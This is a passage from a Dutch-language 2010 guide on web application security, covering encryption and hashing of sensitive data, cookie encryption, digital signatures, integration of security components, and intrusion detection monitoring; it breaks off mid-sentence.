9.3.2. Sla gevoelige gegevens versleuteld of gehashed op Een belangrijk doel van SQL-injectie aanvallen kan zijn om gevoelige informatie aan een database te onttrekken. Via SQL-injectie kan een aanvaller vaak willekeurige tabellen uitlezen en op die manier inzicht krijgen in alle informatie die in de database is opgeslagen. Het versleutelen van gevoelige informatie in de database zorgt ervoor dat een kwaadwillende nog wel informatie uit tabellen kan lezen, maar niets met deze informatie kan omdat hij niet beschikt over de sleutel om de informatie te ontsleutelen. Uiteraard is het niet nodig om alle informatie in een database te versleutelen. Alleen de informatie die waardevol kan zijn voor een aanvaller moet men extra beveiligen. Veel databases ondersteunen tegenwoordig mogelijkheden tot versleuteling. Maakt een database gebruik van encryptiemechanismen, dan betekent dit niet automatisch dat versleutelde gegevens niet meer zichtbaar zijn voor aanvallers. Encryptie vindt vaak plaats op bestandsniveau. Dat betekent dat iemand die de databasebestanden in bezit krijgt, geen leesbare strings in deze bestanden terugvindt. Echter, op logisch niveau verandert er niets: queries die een applicatie op een database afvuurt, worden door de database nog steeds met dezelfde resultaten beantwoord. Het is dus van belang dat bij gebruik van encryptie, de webapplicatie zelf functies aanroept voor het ver- en ontsleutelen van de veldwaarden. Doet de webapplicatie dit niet, dan kan de applicatie niet voorkomen dat SQL-injectie leidt tot het onbedoeld vrijgeven van alle vertrouwelijke informatie uit de database. Een alternatief voor het versleutelen van informatie is het gebruik van hashes 30. Het verschil met encryptie is dat uit een hash nooit de originele tekst kan worden bepaald. Het wordt dan ook vaak gebruikt in gevallen waarbij de applicatie geen inzicht in de originele invoer hoeft te hebben. Een populaire toepassing van hashing is het opslaan 30

De letterlijke Nederlandse vertaling van hashen is verknoeien. Het komt erop neer dat de applicatie leesbare tekst zodanig verknoeit dat het niet meer te herleiden is naar de originele invoer.

Titel

Datum


4-11-2010

Pagina

148

van wachtwoorden. De webapplicatie maakt een hash van het wachtwoord dat de gebruiker heeft ingevoerd en controleert vervolgens of deze hash overeenkomt met de hash in de database. Slaagt een kwaadwillende er via SQL-injectie in om de tabel met gebruikers en wachtwoorden uit te lezen, dan heeft deze alleen de beschikking over de hashes van wachtwoorden en niet de wachtwoorden zelf. De kans dat de aanvaller op basis van deze hashes achterhaalt wat de originele wachtwoorden waren, is vrij klein. Dit is zeker het geval als de applicatie het wachtwoord ook nog eens voorziet van een zogenoemde salt, een willekeurige string die de applicatie aan elk wachtwoord plakt voordat de hash gemaakt wordt. Er zijn een groot aantal standaardbibliotheken beschikbaar die een ontwikkelaar van een webapplicatie kan gebruiken om versleuteling van gegevens te bereiken. Het is aan te raden dergelijke bibliotheken te gebruiken boven zelf ontwikkelde.om versleuteling toe te passen. Deze standaard bibliotheken zijn veelal ver ontwikkeld, door de internetgemeenschap uitgebreid onderzocht en beproefd en bieden een goede performance. Bovenop (of in plaats van) transportversleuteling via SSL/TLS kun je er ook voor kiezen om specifieke onderdelen van een bericht te versleutelen. Hiermee voorkom je dat een kwaadwillende, via een man-in-the-middle aanval, de SSL/TLS-sessie onderbreekt en daarmee toegang krijgt tot de inhoud van HTML- en XML-berichten. Voor het versleutelen van specifieke onderdelen uit een XML-bericht bestaan inmiddels al een aantal standaarden; voor HTML-berichten is dat niet het geval. De XML-Encryption standaard is een voorbeeld van de versleuteling van gegevens in een XML-bestand. Met deze standaard is het mogelijk om een gedeelte van het XMLbericht te versleutelen en sleutelinformatie te versturen. ACHTERGROND Meer informatie over het versleutelen van gegevens in XML staat in de ‘WS-Security Core Specification’ van de Organization for the Advancement of Structured Information Standard (OASIS). Dit document kunt u hier downloaden: http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-osSOAPMessageSecurity.pdf Het versleutelen van onderdelen van een bericht kan ook van nut zijn bij architecturen waarbij de webapplicatie niet direct communiceert met de eindgebruiker maar via een messagebroker. Een messagebroker ontvangt berichten van verschillende bronnen en routeert het bericht uiteindelijk naar de juiste eindbestemming. Door onderdelen van het bericht te versleutelen, voorkom je dat deze messagebroker inzage krijgt in mogelijk vertrouwelijke gegevens. Figuur 9-2 geeft deze situatie weer. Een client en een server wisselen hierbij informatie uit via een broker. De informatie betreft een drietal velden: A, B en C. De communicatieverbindingen tussen client-broker en broker-server beveilig je met SSL/TLS waardoor transportversleuteling ontstaat. Client

Titel

Datum


4-11-2010

Pagina

149

en server hebben vastgesteld dat voor de velden A en B versleuteling op basis van SSL/TLS voldoende is. De waarde van veld C is echter zeer vertrouwelijk. De broker mag geen inzicht krijgen in de waarde van dit veld. Aangezien de broker de SSLsessie met de client beëindigt, is versleuteling van SSL/TLS voor het beschermen van de inhoud van veld C in dit geval niet voldoende. Daarom versleutelt de client de inhoud van veld C nog eens extra, door gebruik van XML-Encryption. De broker kan hierdoor wel de inhoud van de velden A en B bekijken maar niet van veld C omdat deze niet beschikt over de benodigde sleutel (de privésleutel in dit geval). Vertrouwelijkheid van de informatie in veld C is hierdoor bewerkstelligd, ondanks de tussenkomst van een (minder vertrouwde) messagebroker.

Figuur 9-2: versleuteling van gegevens

9.3.3. Versleutel cookies Cookies bevatten doorgaans informatie over de sessie die een gebruiker heeft met een bepaalde webapplicatie en mogelijk ook authenticatiegegevens. Door tijdens het bezoek aan een webapplicatie continu het cookie aan de webapplicatie te tonen, weet de webapplicatie dat een gebruiker al geauthenticeerd is en dat dit niet opnieuw hoeft te gebeuren. Misbruik van informatie uit de cookies leidt ertoe dat kwaadwillenden zich ongeautoriseerd toegang verschaffen tot een webapplicatie. Een kwaadwillende kan dit doen door een cookie op te vangen (door het netwerkverkeer te sniffen) of door een achtergebleven cookie van een werkstation te halen (bijvoorbeeld in een internetcafé). Veel van deze problemen met cookies kun je voorkomen door het cookie te

Titel

Datum


4-11-2010

Pagina

150

versleutelen of door extra controles uit te voeren op cookies (zie de hoofdstukken 6 en 7). Een cookie moet versleuteld worden met een sleutel die alleen bekend is bij de webapplicatie. De gebruiker kan hierdoor vrijwel niets met het cookie (hij beschikt immers niet over de geheime sleutel) behalve dan dit cookie aan te bieden aan de webapplicatie. De gebruiker (en ook de kwaadwillende) kunnen de inhoud van het cookie niet inzien. Door het versleutelen van cookies voorkom je dat kwaadwillenden de inhoud ervan kunnen lezen en aanpassen. Hierdoor zijn vertrouwelijkheid en integriteit van de inhoud van het cookie geborgd. Wat echter een restrisico blijft, is dat een kwaadwillende zich op basis van het cookie toegang verschaft tot de webapplicatie (authentication replay). Om dit restrisico te verkleinen kan de webapplicatie werken met dynamische sleutels. Door bijvoorbeeld elke 2 minuten een nieuwe sleutel te generen, blijft het cookie op het werkstation ook maar 2 minuten geldig. Zolang de gebruiker ingelogd blijft op de webapplicatie, ontvangt deze elke 2 minuten een nieuw cookie. De inhoud (na ontsleutelen) van het cookie blijft hierbij wellicht onveranderd, maar door de keuze voor een andere sleutel is de versleutelde inhoud (de uiteindelijke inhoud van het cookie die de eindgebruiker te zien krijgt en moet aanbieden), verschillend. Op het moment dat een kwaadwillende een dergelijk cookie in handen krijgt, is de geldigheid van de sleutel naar alle waarschijnlijkheid al verlopen en kan deze niets meer met dit cookie beginnen.

9.3.4. Maak gebruik van digitale handtekeningen In sommige gevallen kan het nodig zijn dat transacties onweerlegbaar zijn. In dit soort gevallen ontkom je er vrijwel niet aan om te werken met digitale handtekeningen. Bij een digitale handtekening maakt de ondertekenaar gebruik van het privédeel van een cryptografische sleutel. De eerste implementatie van een digitale handtekening maakte gebruik van ‘public key cryptography’ en werd bedacht door Diffie en Hellman. VOORBEELD Het volgende voorbeeld illustreert het gebruik van een digitale handtekening. In het voorbeeld wil gebruiker A een bericht sturen aan gebruiker B en onweerlegbaarheid bereiken. Gebruiker A voert hiervoor de volgende stappen uit: 1. Gebruiker A berekent een hash over het bericht. Alle relevante gegevens uit het bericht maken onderdeel uit van deze hash: belangrijke waarden, tijdstip, etcetera. 2. Gebruiker A versleutelt de hash met zijn privésleutel. 3. Gebruiker A versleutelt het volledige bericht met de publieke sleutel van gebruiker B. 4. Gebruiker A verstuurt het bericht naar gebruiker B.

Titel

Datum


4-11-2010

Pagina

151

Doordat het bericht versleuteld is met de publieke sleutel van gebruiker B, is dit bericht alleen door gebruiker B te lezen. Bij ontvangst van het bericht voert gebruiker B de volgende stappen uit: 1. Gebruiker B ontsleutelt het bericht via zijn privésleutel. 2. Gebruiker B berekent een hash over het ontsleutelde bericht (‘hash A’). 3. Gebruiker B ontsleutelt de hash van de gebruiker via de publieke sleutel van gebruiker A (‘hash B’). 4. Gebruiker B vergelijkt ‘hash A’ met ‘hash B’. Alleen wanneer deze hashes overeenkomen weet gebruiker B zeker dat de integriteit van het bericht in orde is en dat de inhoud daadwerkelijk afkomstig is van gebruiker A. Er bestaan verschillende mogelijkheden om een digitale handtekening te implementeren. Voor een belangrijk gedeelte is de technische oplossing ook afhankelijk van het gebruikte ‘transportprotocol’: XML of HTML. Voor XML bestaan inmiddels standaarden waarmee je een digitale handtekening op de inhoud van een bericht (of delen daarvan) kan plaatsen; XML Signature is een voorbeeld van een dergelijke standaard. Figuur 9-3 bevat een voorbeeld van een XML-bestand dat (geheel) ondertekend is met een digitale handtekening.

Figuur 9-3: voorbeeld digitale handtekening

Bij op HTML-gebaseerde applicaties moet men over het algemeen meer inspanningen verrichten om gebruik te kunnen maken van digitale handtekeningen. Er bestaan geen standaard mechanismen om dit te bereiken. In veel gevallen zal een plug-in in de

Titel

Datum


4-11-2010

Pagina

152

webbrowser nodig zijn om functionaliteiten op het gebied van digitale handtekeningen te kunnen implementeren. Wetgeving rondom het gebruik van digitale handtekeningen is in Nederland vastgelegd in de Wet Elektronische Handtekeningen (WEH) 31. Deze wet beschrijft bijvoorbeeld aan welke voorwaarden een digitale handtekening moet voldoen om dezelfde rechtsgevolgen te kunnen hebben als een handgeschreven handtekening. Wanneer een organisatie besluit om gebruik te maken van een digitale handtekening voor de onweerlegbaarheid van transacties, is het zeker aan te raden het gebruikte mechanisme te toetsen tegen deze wet.

31

http://www.e-overheid.nl/e-overheid-2.0/live/binaries/e-overheid/juridisch/wet-elektronischehandtekening.pdf

Titel

Datum


4-11-2010

Pagina

153

10.

Beveiligingsintegratie

De beveiligingsintegratielaag is een virtuele laag die erop geënt is om samenwerking tussen verschillende applicaties op het gebied van beveiliging mogelijk te maken. Deze samenwerking komt tot stand via interfaces op allerlei applicaties die zich bezighouden met beveiliging. Deze applicaties zoals firewalls, systemen voor toegangsbeheer en web application firewalls, vatten we in dit hoofdstuk samen onder de noemer beveiligingscomponent. Dit hoofdstuk gaat in op de manier waarop beveiligingsintegratie tussen webapplicaties en beveiligingscomponenten (en beveiligingscomponenten onderling) tot stand kan komen.

10.1. Inleiding Beveiligingsintegratie houdt in dat een webapplicatie de beschikking krijgt over informatie die aanwezig is binnen de beveiligingscomponenten. Hierdoor kan een beveiligingsoplossing binnen een webapplicatie worden hergebruikt en hoeven ontwikkelaars de betreffende functionaliteit niet in elke applicatie afzonderlijk in te bouwen. Een voorbeeld hiervan is het scheiden van functionaliteiten op het gebied van autorisatie- en toegangsbeheer tussen de webapplicatie en generieke beveiligingscomponenten (zie hoofdstuk 8, figuur 8-3). Enkele voorbeelden van beveiligingsintegratie die voor het functioneren van een webapplicatie vereist kunnen zijn: • • • •

Een webapplicatie wil de gebruikersnaam achterhalen van een gebruiker die door de I&AM-tooling is geauthenticeerd. Een webapplicatie wil de rollen c.q. autorisaties achterhalen van een gebruiker die door de I&AM-tooling is geauthenticeerd (en mogelijk geautoriseerd). De I&AM-tooling wil de certificaatgegevens achterhalen van een SSL-sessie die de WAF met de eindgebruiker heeft. Een webapplicatie wil een load balancer opdracht geven geen verkeer meer naar een specifieke webserver te versturen (omdat er bijvoorbeeld onderhoud op deze webserver gaat plaatsvinden).

De volgende paragraaf beschrijft een aantal mechanismen dat een beveiligingscomponent vaak biedt om deze integratie tot stand te brengen.

Titel

Datum


4-11-2010

Pagina

154

10.2. Mechanismen In hoofdlijnen bestaan er twee mechanismen om beveiligingsintegratie te bereiken: passief en actief. Passieve beveiligingsintegratie betekent dat een beveiligingscomponent bepaalde informatie bij voorbaat aanbiedt aan de achterliggende webapplicatie, zonder dat de webapplicatie hier specifiek om vraagt. De webapplicatie hoeft deze informatie niet te gebruiken. Actieve beveiligingsintegratie houdt in dat de webapplicatie actief contact legt met de beveiligingscomponent om informatie op te vragen of opdrachten te geven. Het vervolg van deze paragraaf bespreekt passieve en actieve beveiligingsintegratie in meer detail.

10.2.1. Passieve beveiligingsintegratie Bij passieve beveiligingsintegratie doorlopen gebruikers, beveiligingscomponent en applicatie altijd de volgende drie stappen: 1. De gebruiker maakt contact met het beveiligingscomponent. 2. De beveiligingscomponent voert zijn beveiligingsacties uit. 3. De beveiligingscomponent stelt de resultaten van deze beveiligingsactie beschikbaar aan achterliggende componenten. De mogelijkheid bestaat dat achterliggende componenten geen gebruik maken van deze informatie. Er bestaan verschillende manieren waarop het beveiligingscomponent in stap 3 de informatie beschikbaar kan stellen aan achterliggende webservers. Een aantal voorbeelden is weergegeven in figuur 10-1.

Figuur 10-1: passieve beveiligingsintegratie

Titel

Datum


4-11-2010

Pagina

155

De verschillende voorbeelden uit figuur 10-1 worden hieronder kort toegelicht. Het nummer komt overeen met het nummer uit de figuur: 1. Opslaan van gegevens in een tussenliggende datastore. Hierbij plaatst de beveiligingscomponent beveiligingsgegevens (bijvoorbeeld authenticatie- of autorisatiegegevens) in een database. Achterliggende applicaties die deze gegevens willen gebruiken, kunnen de gegevens vervolgens weer uit de database halen. In feite is deze manier van beveiligingsintegratie een combinatie van passieve integratie (beveiligingscomponent plaatst de gegevens altijd in de database) en actieve integratie (de achterliggende applicatie moet de gegevens zelf weer actief uit de database halen). 2. Doorgeven van waarden via een querystring. Bij deze oplossing plakt de beveiligingscomponent belangrijke gegevens achter de gebruikte URL in de vorm van een querystring. De achterliggende applicatie kan vervolgens de gegevens uit de querystring gebruiken. 3. Doorgeven van waarden via HTTP-headers. De informatie die de beveiligingscomponent wil aanbieden, kan de component ook meesturen via HTTPheaders. De achterliggende applicatie kan besluiten om de gegevens uit deze headers te gebruiken. VOORBEELD Passieve beveiligingsintegratie kan van groot nut zijn wanneer je bijvoorbeeld in zeer korte tijd Single Sign-On moet implementeren voor twee (voorheen) volledig losstaande applicaties. Applicatie A dwingt authenticatie af op basis van een eigen inlogformulier en Applicatie B dwingt authenticatie af op basis van basic authentication. Door I&AM-programmatuur voor deze applicaties in te zetten en enkele specifieke wijzigingen in deze tooling door te voeren, bereik je dit relatief eenvoudig zonder hiervoor ook maar één wijziging door te voeren in de twee applicaties. De I&AM-programmatuur voert hiertoe de volgende acties uit: 1. De I&AM-tooling authenticeert een gebruiker die een verbinding wil opzetten met Applicatie A of Applicatie B. 2. Nadat de gebruiker zich succesvol heeft geauthenticeerd, bepaalt de I&AM-tooling met welke applicatie de gebruiker wil verbinden (Applicatie A of Applicatie B). 3. Wanneer de gebruiker wil verbinden met Applicatie A construeert de I&AMprogrammatuur een POST-request waarin het de gebruikersnaam en het wachtwoord van de gebruiker verwerkt. De I&AM-programmatuur simuleert hiermee het invullen van het formulier op de webapplicatie en het klikken op de knop ‘Inloggen’. Hierdoor lijkt het dat de gebruiker zelf inlogt op de webapplicatie

Titel

Datum


4-11-2010

Pagina

156

maar is het de I&AM-tooling die dit voor de gebruiker realiseert. 4. Wanneer de gebruiker wil verbinden met Applicatie B construeert de I&AMprogrammatuur een ‘Authorization’ HTTP-header waarin het de gebruikersnaam en het wachtwoord van de gebruiker in base64 encoding opneemt. Deze HTTPheader voegt de I&AM-programmatuur toe aan elk verzoek dat de gebruiker verstuurt naar Applicatie B. Applicatie B merkt hierdoor niet dat niet de gebruiker maar de I&AM-programmatuur inlogt op de applicatie. Opnieuw biedt de I&AMprogrammatuur hierdoor de mogelijkheid om de bestaande applicatie te blijven gebruiken zonder hiervoor aanpassingen door te voeren. 5. Gedurende de sessie die de gebruiker heeft met de I&AM-programmatuur kan de gebruiker zonder problemen ‘switchen’ tussen de verschillende applicaties zonder dat hij zich daarvoor opnieuw moet authenticeren. Voor de gebruiker lijkt het dus om één applicatie te gaan terwijl hij in werkelijkheid wordt bediend door twee losstaande applicaties.

10.2.2. Actieve beveiligingsintegratie Bij actieve beveiligingsintegratie bevraagt een webapplicatie actief een beveiligingscomponent om informatie over uitgevoerde beveiligingsacties te achterhalen óf om een nieuwe beveiligingsactie uit te laten voeren. Bij actieve beveiligingsintegratie hoeft de beveiligingscomponent dus niet inline (dat wil zeggen tussen de client en achterliggende applicatie) geplaatst te zijn. Figuur 10-2 schetst deze twee alternatieven waarbij actieve bevraging plaatsvindt met tussenkomst van een beveiligingscomponent (stroom 1) en zonder tussenkomst hiervan (stroom 2).

Figuur 10-2: actieve beveiligingsintegratie

Titel

Datum


4-11-2010

Pagina

157

Bij inline plaatsing zal de beveiligingscomponent het verzoek van de gebruiker valideren en, indien akkoord bevonden, doorsturen naar de achterliggende webapplicatie (stroom 1 uit figuur 10-2). Bij het doorsturen van verzoek stuurt de beveiligingscomponent geen gegevens over de sessie met de gebruiker mee naar de applicatie meesturen (zoals bij passieve beveiligingsintegratie). Bij het ontvangen van het verzoek zal de applicatie zelf actief contact gaan leggen met de beveiligingscomponent (stroom 3 uit figuur 10-2) om informatie over uitgevoerde beveiligingsacties door het beveiligingscomponent te achterhalen. Ook wanneer het beveiligingscomponent niet inline geplaatst is (stroom 2 uit figuur 102), kan de achterliggende webapplicatie actief contact leggen met de beveiligingscomponent om beveiligingsinformatie op te vragen (stroom 3 uit figuur 102). Zo kan de webapplicatie bijvoorbeeld aan het beveiligingscomponent vragen om een bepaalde combinatie van gebruikersnaam en wachtwoord te valideren en het resultaat te retourneren. Een voor de hand liggende methode voor het bereiken van actieve beveiligingsintegratie is de toepassing van webservices. Hierbij biedt de beveiligingscomponent een op XML-gebaseerde interface die de applicatie via standaard bibliotheken kan bevragen. VOORBEELD F5, leverancier van netwerk- en beveiligingsapparatuur, biedt mogelijkheden tot het bevragen van deze apparatuur via een mechanisme genaamd iControl. iControl is een Application Programming Interface (API) op basis van SOAP/XML (webservices) en CORBA. Vooralsnog kan de iControl-functionaliteit voornamelijk worden aangeroepen om load balancing functionaliteit in F5componenten aan te sturen en te bevragen.

10.3. Aanbevelingen Met de invoer van elk nieuw beveiligingscomponent dient men zich af te vragen: hoe integreer ik deze component binnen mijn omgeving? Belangrijk is vast te stellen: • •

Welke services de omgeving van de component zal afnemen. Op welke manier de omgeving deze services zal afnemen (actief of passief, welke protocollen).

De vereisten die uit deze overwegingen naar voren komen dienen vervolgens als input voor een productselectie. Door bij elk nieuw of te vervangen beveiligingscomponent deze vereisten in ogenschouw te nemen, ontstaat een omgeving van nauw verwante componenten die moeiteloos met elkaar kunnen communiceren.

Titel

Datum


4-11-2010

Pagina

158

11.

Monitoring, auditing en alerting

Monitoring, auditing en alerting zijn van toepassing op elke laag van het RBW. Voor zowel monitoring, auditing als alerting geldt dat de verschillende technologieën die zich binnen de RBW-lagen bevinden, informatie aanleveren die monitoring, auditing en alerting mogelijk maken. Heel belangrijk is dat ze niet los op elke laag beschouwd worden, maar dat (causale) verbanden kunnen worden gelegd tussen de afzonderlijke logging- en monitoringmechanismen. Dit soort denken is vooral van belang door de steeds verder voortschrijdende ketenintegratie, waarbij componenten aan elkaar gekoppeld worden en de sterkte en het functioneren van de keten bepaald worden door de zwakste schakel. Vindt er bijvoorbeeld een aanval plaats op een applicatie binnen het RBW, dan moet je de gelogde gebeurtenissen op de verschillende lagen van het RBW kunnen combineren om zodoende een duidelijk aanvalspatroon (met bijbehorend bewijsmateriaal) te kunnen verzamelen. Complicerende factor daarbij is dat de functionaliteiten uit de verschillende lagen van het RBW verdeeld kunnen zijn over diverse ketencomponenten. Door gebeurtenissen op verschillende lagen van het RBW en verschillende ketencomponenten te combineren, kun je bijvoorbeeld bepalen welke actie op een specifiek tijdstip werd uitgevoerd (applicatiebeveiliging), wie deze actie uitvoerde (identiteitbeheer) en vanaf welke plek deze actie afkomstig was (netwerkbeveiliging). Voor monitoring geldt eenzelfde soort redenering. Hoewel het hierbij belangrijk is dat je afzonderlijke componenten monitoort, is het tevens relevant om de verschillende componenten in een ‘monitoringketen’ te plaatsen. Op het moment dat één component uit de keten niet meer goed blijkt te functioneren, heeft dit gevolgen voor de hele keten en moet dit ook als zodanig worden opgemerkt. Dat betekent dat bij een verstoring de impact voor de hele keten wordt vastgesteld. Stel bijvoorbeeld dat een webapplicatie beschermd is door een WAF. Uit de afzonderlijke monitoring van de WAF en webapplicatie komt naar voren dat beiden goed functioneren. Echter, wanneer de webapplicatie via de WAF wordt benaderd, blijkt dit niet te werken door een probleem in de WAF. Een dergelijk probleem is alleen op te merken als de keten aan componenten wordt gemonitoord en niet alleen de afzonderlijke systemen.

Titel

Datum


4-11-2010

Pagina

159

11.1. Mogelijke kwetsbaarheden en bedreigingen Deze paragraaf beschrijft kwetsbaarheden en bedreigingen die op het gebied van monitoring, auditing en alerting te onderscheiden zijn.

11.1.1. Ontbreken van toezicht Als een kwaadwillende een webapplicatie - of de infrastructuur hieromheen – aanvalt, kan dit kwalijke gevolgen hebben. Een organisatie kan alleen passende maatregelen nemen en de schade tot een minimum proberen te beperken, als het de juiste mechanismen heeft ingezet voor het detecteren van aanvallen en deze mechanismen bovendien correct zijn geconfigureerd. Het kan hieraan ontbreken om de volgende redenen: • •

• •

Er is überhaupt geen monitoring van netwerkverkeer. De monitoringcomponenten leveren zoveel informatie dat de belangrijke aanvallen niet meer te onderscheiden zijn van de vele ‘script kiddie’-aanvallen; men ziet met andere woorden door de bomen het bos niet meer. De monitoringcomponenten verzamelen wel continu data maar er is geen medewerker beschikbaar om deze te analyseren. De monitoringcomponenten verzamelen wel continu data maar de gebeurtenissen van deze componenten zijn op geen enkele manier aan elkaar te koppelen, doordat de tijdstippen op de componenten uit elkaar lopen. Zelfs een afwijking van enkele seconden kan er al voor zorgen dat gebeurtenissen op verschillende componenten niet meer aan elkaar vallen te relateren.

Het ontbreken van dit toezicht kan ertoe leiden dat kwaadwillenden misbruik maken van webapplicaties zonder dat de organisatie dit detecteert.

11.1.2. Impact: onbekend Wanneer een component een losstaande gebeurtenis rapporteert, helpt dit in het bepalen van de technische impact: de component is bijvoorbeeld tijdelijk niet meer beschikbaar of de performance is tijdelijk verminderd. Maar wat betekent dit nu voor de gehele keten? Merkt een gebruiker niets van deze storing of leidt de storing tot een zeer ernstige onderbreking van de service aan de eindgebruiker? Om de impact van een gebeurtenis te kunnen bepalen, is het belangrijk om de gebeurtenis in een groter geheel (de keten) te bekijken. De beschouwing van de omgeving als een keten van nauw samenwerkende componenten is in dit geval de enige juiste. Op basis van dit inzicht kan de organisatie vervolgens inschatten wat de risico’s voor de organisatie zijn en welke maatregelen moeten worden genomen.

Titel

Datum


4-11-2010

Pagina

160

11.1.3. Gebrek aan coördinatie en samenwerking De componenten die logging genereren vallen vaak onder verschillende teams binnen een organisatie. Een netwerkbeheerteam beheert de netwerkcomponenten, een applicatiebeheerteam de webapplicaties en een autorisatiebeheerteam de autorisaties. Het analyseren van complexe gebeurtenissen vereist dat deze verschillende teams nauw met elkaar samenwerken. Gebrek aan samenwerking en coördinatie leidt ertoe dat een complexe gebeurtenis niet volledig geanalyseerd wordt.

11.2. Aanbevelingen Dit hoofdstuk sluit af met een reeks van aanbevelingen op het gebied van monitoring, auditing en alerting.

11.2.1. Maak gebruik van Intrusion Detection Systemen (IDS) Intrusion Detection Systemen (IDS) kunnen helpen bij het detecteren van aanvallen op webapplicaties. IDS’en monitoren continu het verkeer dat zich door de DMZsegmenten verplaatst en kunnen, veelal op basis van aanvalspatronen, misbruik van webapplicaties en andere infrastructuurcomponenten detecteren. Grofweg kan het volgende onderscheid in IDS’en worden aangebracht: •

Network-based Intrusion Detection System (NIDS). Een NIDS plaats je als losstaand component in het netwerk waarna deze vervolgens netwerkverkeer opvangt. De voordelen van een NIDS zijn dat één NIDS een groot netwerk met verschillende componenten kan monitoren en dat het NIDS geen negatieve effecten heeft op de werking van de infrastructuur. Nadelen van een NIDS zijn dat bij grote drukte niet al het netwerkverkeer kan worden geanalyseerd en dat versleuteld verkeer (zoals HTTPS) niet kan worden geanalyseerd. Daarnaast vereist een NIDS dat deze zodanig wordt aangesloten op de infrastructuur, dat al het verkeer beschikbaar komt voor het NIDS. Als de organisatie gebruik maakt van switches kan dit betekenen dat je de switches zodanig moet configureren dat deze al het verkeer ook kopiëren naar het aansluitpunt van het NIDS (de span port) of dat het IDS dit verkeer ontvangt via speciale ‘vampire taps’ (onderbrekingen in de kabelverbinding).

•

Host-based Intrusion Detection System (HIDS). Een HIDS installeer je op een server waarna het HIDS continu de activiteiten op deze server monitort. Het HIDS kijkt hierbij niet alleen naar het netwerkverkeer (zoals het NIDS) maar ook naar logging en veranderingen op het systeem zelf. Een HIDS heeft als voordeel dat het meer middelen heeft om aanvallen te detecteren dan een NIDS en dat het bovendien in staat is om versleutelde informatie te bekijken omdat het systeem het eindpunt is voor een versleutelde verbinding. Nadelen zijn dat een HIDS negatieve

Titel

Datum


4-11-2010

Pagina

161

effecten kan hebben op de performance van het systeem en dat het onderhouden van alle lokaal geïnstalleerde HIDS-systemen extra beheerlast met zich mee kan brengen, afhankelijk van de mogelijkheden tot centraal beheer. •

Application-based IDS (APIDS). Een application-based IDS wordt specifiek ingezet voor het monitoren van misbruik van een specifieke applicatie of een specifiek protocol. Dit is de minst gangbare vorm van een IDS. Een WAF is een voorbeeld van een systeem dat in staat is om een specifiek protocol te monitoren.

Tabel 11-1 geeft een overzicht van de verschillende eigenschappen van NIDS- en HIDS-systemen.

NIDS

HIDS

•

Monitort het gehele netwerk

•

Monitort alleen een specifiek systeem

•

Bekijkt alleen netwerkverkeer

•

•

Kan alle aanvallen op een omgeving vastleggen

•

•

Reageert direct op afwijkend netwerkverkeer; de aanvaller kan zijn sporen moeilijk verbergen

•

•

Kan niet bepalen of een gedetecteerde aanval succesvol is Geen impact op de performance van de omgeving Redelijk eenvoudig op te zetten

•

• • •

• •

Bekijkt de header van pakketten en kan daarom bepaalde aanvallen (IP DoS en teardrop attacks) detecteren Onafhankelijk van een besturingssysteem Vereist de aanschaf van nieuwe hardware

•

Bekijkt naast netwerkverkeer ook lokale veranderingen op het systeem Kan alleen die aanvallen vastleggen die door de filteringmechanismen zijn doorgelaten Reageert veelal pas op het moment dat een bepaalde regel in een log verschijnt; de aanvaller heeft hierdoor de mogelijkheid om zijn sporen onzichtbaar te maken Kan uit de logging opmaken of een gedetecteerde aanval succesvol is Levert een mogelijke vertraging op in de werking van het systeem Mogelijk complexe set-up bij veel hosts

•

Bekijkt de header van pakketten niet

•

Aparte implementaties voor verschillende besturingssystemen Wordt geïnstalleerd op bestaande hardware

•

•

Tabel 11-1: NIDS versus HIDS

In de inleiding van deze paragraaf stelden we al dat het detecteren van aanvallen veelal gebeurt op basis van bekende aanvalspatronen. Deze manier van detectie, op basis van ‘handtekeningen’ van bekende aanvallen, wordt ook wel signature-based genoemd. Het nadeel van deze werkwijze is dat het IDS alleen bekende aanvallen

Titel

Datum


4-11-2010

Pagina

162

herkent en nieuwe aanvallen onopgemerkt laat. Tegenover de signature-based IDS’en staan de anomaly-based systemen. Deze systemen werken niet op basis van handtekeningen, maar op basis van afwijkingen (anomalieën). Gedurende een leerperiode bekijken deze systemen wat ‘normaal’ gedrag is. Vervolgens kan het systeem afwijkingen op dit normale gedrag herkennen en dit rapporteren als een mogelijke aanval. Het voordeel van deze werkwijze is dat een dergelijk IDS nieuwe – onbekende – aanvallen hoogst waarschijnlijk zal detecteren. Een nadeel is dat het systeem veel false positives kan opleveren: een alarm zonder dat er iets aan de hand blijkt te zijn. Dit is vooral het geval op het moment dat de organisatie een nieuwe applicatie in de omgeving uitrolt of een nieuwe versie van een bestaande applicatie introduceert. Een ander nadeel is dat zich problemen kunnen voordoen tijdens de leerperiode: een inbraakpoging tijdens de leerperiode zal het IDS als ‘normaal’ gedrag beschouwen, terwijl regulier verkeer dat niet tijdens de leerperiode voorbij komt als ‘abnormaal’ gedrag wordt beschouwd. Van alle soorten IDS’en is de network-based variant (NIDS) met signatures de meest gebruikte en bekendste vorm. Bij het inrichten van een NIDS is het zaak goed te bekijken welke meetpunten interessant zijn voor het NIDS om op die manier een zo compleet mogelijk beeld te krijgen van aanvallen op de omgeving. In figuur 11-1 is een voorbeeld opgenomen van mogelijk interessante meetpunten aan de hand van de DMZ-opbouw zoals in hoofdstuk 3 werd beschreven.

Figuur 11-1: mogelijke plaatsing van een NIDS

Titel

Datum


4-11-2010

Pagina

163

Het NIDS uit figuur 11-1 kent drie meetpunten: één voor de eerste firewall (1), één tussen de twee firewalls (2) en één tussen de DMZ en het interne netwerk. Op punt (1) kan het IDS alle aanvallen detecteren omdat hier nog geen filtering van netwerkverkeer heeft plaatsgevonden. De gegevens van dit meetpunt leiden niet per definitie tot een alarm, omdat na dit meetpunt op diverse manieren filtering plaatsvindt (door een firewall en een proxy). Op punt (2) heeft deze filtering plaatsgevonden. Verkeer op dit punt zal zeer waarschijnlijk de servers aan de achterste firewall gaan bereiken. Op het moment dat het IDS hier een aanval detecteert, krijgt dit een hogere prioriteit dan bij punt (1). Tenslotte monitort het IDS op punt (3) het verkeer tussen de DMZ en het interne netwerk. Dit is een interessant meetpunt, aangezien de meest vertrouwelijke informatie zich per definitie zal bevinden in het interne netwerk en de toegang tot deze vertrouwelijke informatie nauwkeurig moet worden gemonitord. ACHTERGROND Door het aantal geregistreerde gebeurtenissen op punt 1 en punt 2 met elkaar te vergelijken, ontstaat ook inzicht in de effectiviteit van de filteringmechanismen binnen de omgeving. Dit kan een organisatie helpen bij het opstellen van bijvoorbeeld een return-on-investment analyse voor beveiligingscomponenten en voor het verhogen van de effectiviteit van het 